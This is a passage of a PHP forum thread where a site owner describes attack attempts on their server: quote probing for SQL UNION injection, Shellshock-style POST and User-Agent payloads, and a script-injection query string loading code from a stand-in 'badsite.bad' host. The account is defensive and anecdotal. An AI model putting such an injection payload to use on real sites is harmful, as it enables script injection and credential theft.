sneakyimp;11045929 wrote:I'd be curious to see what types of attacks you are getting on your system. Not in any great detail, but it's sort of nice to see anecdotal evidence of actual hack attempts.
Well, here's what I've seen and what my reading up on it leads me to believe they're trying to do:
Single and double quotes: looking for unescaped entry for common UNION attacks.
POST data of "x=()" and similar(often with shell commands in the parentheses). They are also modifying their User Agent. I looked this up and it's called the Shellshock exploit.
And I see a bunch of this type of thing: ?one_of_my_vars=<SCRIPT SRC='http://badsite.bad/badscript.php'></SCRIPT>. I have downloaded the files they're pointing to via wget and they're always encoded in various combinations of base64, rot13, hex, octal, etc. Once decoded, they're almost always a commonly available script-kiddie cookie-cutter server manipulation deal. Looking for user, mysql passwords and writable folders, things like that.
There's been some other stuff pop up, but I haven't figured out what, if anything they're trying to do. Oddly one IP keeps passing user/pass data on every single page they load.
sneakyimp;11045929 wrote:That sounds pretty thorough. As I understand it, injection exploits and overflow exploits are the risk you run with user input. Validation for content and length are your defenses.
I did put a substr on the POST data for that reason. Even if they weren't exploiting a vulnerability, from my reading, it seems possible to cripple a server by simply giving it too much POST or GET data to chew on. I didn't think it safe to leave my POST capture uncut.
sneakyimp;11045929 wrote:It's a relief to help with your posts after some of the boneheaded 'write my code for me' posts we get around here. Please do consider passing on the goodwill to some other deserving post.
There's so few people that know less than I do about this stuff. I am always checking the topics on this site while I work. My solutions to my own stuff feel so crude to me that I'm usually just worried about passing on bad habits and coding practices to someone else. Maybe I just need to help in the beginners section. This forum in general and about 5-10 core people in particular (you, brad, derok, laser, weed, nog, bonesnap and bpat come to mind) have pretty much got me from my "hello world" stage to where I'm at now. I'm still clueless for the most part, but I understand enough now to often solve my problems by Googling because I often know what to search for, where at the beginning I couldn't even articulate what I was trying to accomplish.
Thank you very much for the link. Reading it now.